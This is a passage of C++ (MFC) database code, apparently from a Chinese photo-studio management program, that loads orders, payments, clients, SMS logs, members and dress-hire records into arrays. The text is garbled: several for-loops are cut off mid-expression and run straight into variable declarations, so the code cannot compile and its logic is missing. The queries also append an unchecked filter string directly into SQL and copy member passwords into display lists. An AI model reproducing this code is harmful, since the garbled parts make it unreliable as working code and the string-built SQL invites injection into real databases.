(ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.addr1) ; m_List1array.ElementAt (ii).Add(rsSt.area1) ; m_List1array.ElementAt (ii).Add(rsSt.birthday1) ; m_List1array.ElementAt (ii).Add(rsSt.qq1) ; #else m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.addr1) ; m_List1array.ElementAt (ii).Add(rsSt.addr2) ; m_List1array.ElementAt (ii).Add(rsSt.area1) ; m_List1array.ElementAt (ii).Add(rsSt.area2) ; m_List1array.ElementAt (ii).Add(rsSt.birthday1) ; m_List1array.ElementAt (ii).Add(rsSt.birthday2) ; m_List1array.ElementAt (ii).Add(rsSt.qq1) ; m_List1array.ElementAt (ii).Add(rsSt.qq2) ; #endif ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.id) ; m_List2array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List2array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List2array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List2array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString oldid,id; BOOL bFind; for(int i=0; im_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanbukuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstBuKuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_ren) ; m_List2array.ElementAt (ii).Add(rsSt.m_money) ; m_List2array.ElementAt (ii).Add(rsSt.m_bz) ; m_List2array.ElementAt (ii).Add(rsSt.m_kind) ; m_List2array.ElementAt (ii).Add(rsSt.m_date) ; m_List2array.ElementAt (ii).Add(rsSt.paytype) ; m_List2array.ElementAt (ii).Add(rsSt.m_ren2) ; m_List2array.ElementAt (ii).Add(rsSt.m_autoid) ; m_List2array.ElementAt (ii).Add(rsSt.m_financecheck) ; m_List2array.ElementAt (ii).Add(rsSt.jdd) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString id; BOOL bFind; int oldpos=0; g_List1array.SetSize(0 , 1 ); for(int i=0; iExecuteSQL (sql); #else if(g_sdomain.Find (".ly.com")!=-1) m_pConndb->ExecuteSQL (sql); #endif } CRecordset myset(m_pConndb); CString sql; sql="select path1 from path"; myset.Open (CRecordset::forwardOnly, sql); sql=""; if(!myset.IsEOF()) myset.GetFieldValue ("path1", sql); myset.Close(); g_List1array.SetSize(1 , 1 ); g_List1array.ElementAt (0).Add(sql) ; } break; case 30: { if("haslastyear"==filter ||"hashistory"==filter) { g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); dbarraytemp.InsertAt(0, &g_db); for(int a=0; am_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm7 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString m_money1; CString m_money2; CString m_money3; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.status5) ; m_List1array.ElementAt (ii).Add(rsSt.urgent) ; m_List1array.ElementAt (ii).Add(rsSt.time5) ; m_List1array.ElementAt (ii).Add(rsSt.ren) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; m_money1.Format ("%f", atof(rsSt.taoxijiage)+atof(rsSt.m_payed4)); m_money2.Format ("%f", atof(rsSt.m_payed5)+atof(rsSt.m_money1)); m_money3.Format ("%f", atof(m_money1)-atof(m_money2)); ConvertToPrice(m_money3); m_List1array.ElementAt (ii).Add(m_money3) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } #ifdef CHILD_VERSION filter="name<>'入册' and name<>'入底'"; #else filter="kind<>'2' and name<>'入册' and name<>'入底'"; #endif CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindansp";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDinDanSP2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString temp; BOOL bFind; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); if(temp!=rsSt.id) { temp=rsSt.id; bFind=0; for(int aa=0; aam_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDinDanClient2 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanbukuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstBuKuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_money) ; m_List2array.ElementAt (ii).Add(rsSt.m_date) ; m_List2array.ElementAt (ii).Add(rsSt.m_kind) ; m_List2array.ElementAt (ii).Add(rsSt.m_ren) ; m_List2array.ElementAt (ii).Add(rsSt.m_bz) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString id; BOOL bFind; int oldpos=0; int j; g_List1array.SetSize(0 , 1 ); for(int i=0; im_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm4 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while (!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.status5) ; m_List1array.ElementAt (ii).Add(rsSt.urgent) ; m_List1array.ElementAt (ii).Add(rsSt.time5) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; m_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from photoprint"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstPhotoPrintForm rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_name) ; m_List2array.ElementAt (ii).Add(rsSt.m_count) ; m_List2array.ElementAt (ii).Add(rsSt.m_area) ; m_List2array.ElementAt (ii).Add(rsSt.m_status1) ; m_List2array.ElementAt (ii).Add(rsSt.m_time1) ; m_List2array.ElementAt (ii).Add(rsSt.m_status2) ; m_List2array.ElementAt (ii).Add(rsSt.m_time2) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString oldid,id; int begin,end; for(int i=0; im_List1array; CArraym_List2array; CString left,right; int pos=filter.Find ("***"); left=filter.Left (pos); right=filter.Right (filter.GetLength ()-pos-3); { CRecordset myset(m_pConndb);filter=left; CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.txtype) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb);filter=right; CString sql="select count(*) as cot from dindanbukuan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstBuKuan rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); m_List2array.ElementAt (ii).Add(rsSt.m_id) ; m_List2array.ElementAt (ii).Add(rsSt.m_money) ; m_List2array.ElementAt (ii).Add(rsSt.m_date) ; m_List2array.ElementAt (ii).Add(rsSt.m_kind) ; m_List2array.ElementAt (ii).Add(rsSt.m_ren) ; m_List2array.ElementAt (ii).Add(rsSt.m_bz) ; m_List2array.ElementAt (ii).Add(rsSt.paytype) ; ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString id; BOOL bFind; int j; int oldpos=0; g_List1array.SetSize(0 , 1 ); for(int i=0; im_List1array; CArraym_List2array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstClient rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); #ifdef CHILD_VERSION m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.birthday1) ; m_List1array.ElementAt (ii).Add(rsSt.check1) ; #else m_List1array.ElementAt (ii).Add(rsSt.id) ; m_List1array.ElementAt (ii).Add(rsSt.name1) ; m_List1array.ElementAt (ii).Add(rsSt.name2) ; m_List1array.ElementAt (ii).Add(rsSt.phone1) ; m_List1array.ElementAt (ii).Add(rsSt.phone2) ; m_List1array.ElementAt (ii).Add(rsSt.birthday1) ; m_List1array.ElementAt (ii).Add(rsSt.birthday2) ; m_List1array.ElementAt (ii).Add(rsSt.check1) ; m_List1array.ElementAt (ii).Add(rsSt.check2) ; m_List1array.ElementAt (ii).Add(rsSt.check3) ; #endif ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List2array.SetSize(count , 1 ); CRstBooking rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List2array.ElementAt (ii).RemoveAll (); #ifdef CHILD_VERSION m_List2array.ElementAt (ii).Add(rsSt.id) ; m_List2array.ElementAt (ii).Add(rsSt.time1) ; m_List2array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List2array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List2array.ElementAt (ii).Add(rsSt.payed4) ; #else m_List2array.ElementAt (ii).Add(rsSt.id) ; m_List2array.ElementAt (ii).Add(rsSt.time3) ; m_List2array.ElementAt (ii).Add(rsSt.time1) ; m_List2array.ElementAt (ii).Add(rsSt.taoxiname) ; m_List2array.ElementAt (ii).Add(rsSt.taoxijiage) ; m_List2array.ElementAt (ii).Add(rsSt.payed4) ; #endif ii++; rsSt.MoveNext();if(m_List2array.GetSize ()<=ii)break; } rsSt.Close();m_List2array.SetSize(ii , 1 ); } DWORD size=0; CString oldid,id; BOOL bFind; for(int i=0; i259) g_List1array.ElementAt (ii).Add(rsSt.m_phones.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.m_phones) ; if(rsSt.m_content.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.m_content.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.m_content) ; g_List1array.ElementAt (ii).Add(rsSt.m_timestamp) ; g_List1array.ElementAt (ii).Add(rsSt.m_msgcount) ; if(rsSt.m_log.IsEmpty ()) g_List1array.ElementAt (ii).Add("暂未发送") ; else g_List1array.ElementAt (ii).Add("发送:"+rsSt.m_log) ; g_List1array.ElementAt (ii).Add(rsSt.m_ren) ; g_List1array.ElementAt (ii).Add(rsSt.m_id) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 66://sendreg2 { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [sendreg2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstSendReg2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_price) ; g_List1array.ElementAt (ii).Add(rsSt.m_yytime) ; g_List1array.ElementAt (ii).Add(rsSt.m_client) ; g_List1array.ElementAt (ii).Add(rsSt.m_type) ; if(rsSt.m_phones.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.m_phones.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.m_phones) ; if(rsSt.m_content.GetLength ()>259) g_List1array.ElementAt (ii).Add(rsSt.m_content.Left (256)+"...") ; else g_List1array.ElementAt (ii).Add(rsSt.m_content) ; g_List1array.ElementAt (ii).Add(rsSt.m_timestamp) ; g_List1array.ElementAt (ii).Add(rsSt.m_ren) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 67://sendreg,仅用于信息发送服务器 { g_pMainWnd->KillTimer (3); g_pMainWnd->SetTimer (3, 1000*60*5, NULL); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from sendreg"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstSendReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="timestamp"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_phones) ; g_List1array.ElementAt (ii).Add(rsSt.m_content) ; g_List1array.ElementAt (ii).Add(rsSt.m_timestamp) ; g_List1array.ElementAt (ii).Add(rsSt.m_id) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 68://membermanage { int covertrate=100; CString spoint; { CRecordset myset(&g_db); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from membermanage"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstMemberReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_sex) ; g_List1array.ElementAt (ii).Add(rsSt.m_phone) ; g_List1array.ElementAt (ii).Add(rsSt.m_qq) ; g_List1array.ElementAt (ii).Add(rsSt.m_addr) ; g_List1array.ElementAt (ii).Add(rsSt.m_occupation) ; g_List1array.ElementAt (ii).Add(rsSt.m_birthday) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); g_List1array.ElementAt (ii).Add(spoint) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; g_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; g_List1array.ElementAt (ii).Add(rsSt.m_balance) ; g_List1array.ElementAt (ii).Add(rsSt.m_sendmark1) ; g_List1array.ElementAt (ii).Add(rsSt.m_sendmark2) ; g_List1array.ElementAt (ii).Add(rsSt.m_psw) ; g_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; g_List1array.ElementAt (ii).Add(rsSt.m_check1) ; g_List1array.ElementAt (ii).Add(rsSt.m_discount) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_sex) ; g_List1array.ElementAt (ii).Add(rsSt.m_phone) ; g_List1array.ElementAt (ii).Add(rsSt.m_qq) ; g_List1array.ElementAt (ii).Add(rsSt.m_addr) ; g_List1array.ElementAt (ii).Add(rsSt.m_occupation) ; g_List1array.ElementAt (ii).Add(rsSt.m_birthday) ; g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; g_List1array.ElementAt (ii).Add(rsSt.m_pinyin) ; g_List1array.ElementAt (ii).Add(rsSt.m_balance) ; g_List1array.ElementAt (ii).Add(rsSt.m_sendmark1) ; g_List1array.ElementAt (ii).Add(rsSt.m_sendmark2) ; g_List1array.ElementAt (ii).Add(rsSt.m_psw) ; g_List1array.ElementAt (ii).Add(rsSt.m_cardtype) ; g_List1array.ElementAt (ii).Add(rsSt.m_check1) ; g_List1array.ElementAt (ii).Add(rsSt.m_discount) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 69://memberreg { int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberreg"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstMemberReg2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; spoint.Format ("%d", atoi(rsSt.m_money)*covertrate/100); g_List1array.ElementAt (ii).Add(spoint) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; // sql.Format("%d", atol(rsSt.m_money)/100); g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 70://memberreg2 { int covertrate=100; CString spoint; { CRecordset myset(m_pConndb); CString sql="select * from [version]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("rate2", sql); myset.Close(); covertrate=atoi(sql); if(covertrate==0)covertrate=100; } CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [memberreg2]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstMemberReg3 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; if(covertrate!=100) { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; spoint.Format ("%d", atoi(rsSt.m_point)*covertrate/100); g_List1array.ElementAt (ii).Add(spoint) ; g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } else { while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_dindanid) ; // sql.Format("%d", atol(rsSt.m_point)/100); g_List1array.ElementAt (ii).Add(rsSt.m_point) ; g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 71://dresstype { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresstype]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstDressTypeReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_type) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 72://dressinfo { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dressinfo]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstDressInfoReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_type) ; g_List1array.ElementAt (ii).Add(rsSt.m_no) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_dressarea) ; g_List1array.ElementAt (ii).Add(rsSt.m_count) ; g_List1array.ElementAt (ii).Add(rsSt.m_hirecount) ; g_List1array.ElementAt (ii).Add(rsSt.m_salecount) ; g_List1array.ElementAt (ii).Add(rsSt.m_washcount) ; // g_List1array.ElementAt (ii).Add(rsSt.m_balance) ; g_List1array.ElementAt (ii).Add(rsSt.m_price1) ; g_List1array.ElementAt (ii).Add(rsSt.m_price2) ; g_List1array.ElementAt (ii).Add(rsSt.m_remark) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; g_List1array.ElementAt (ii).Add(rsSt.m_type2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 73://dresshire { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [dresshire]"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); RstDressHireReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_money2) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt 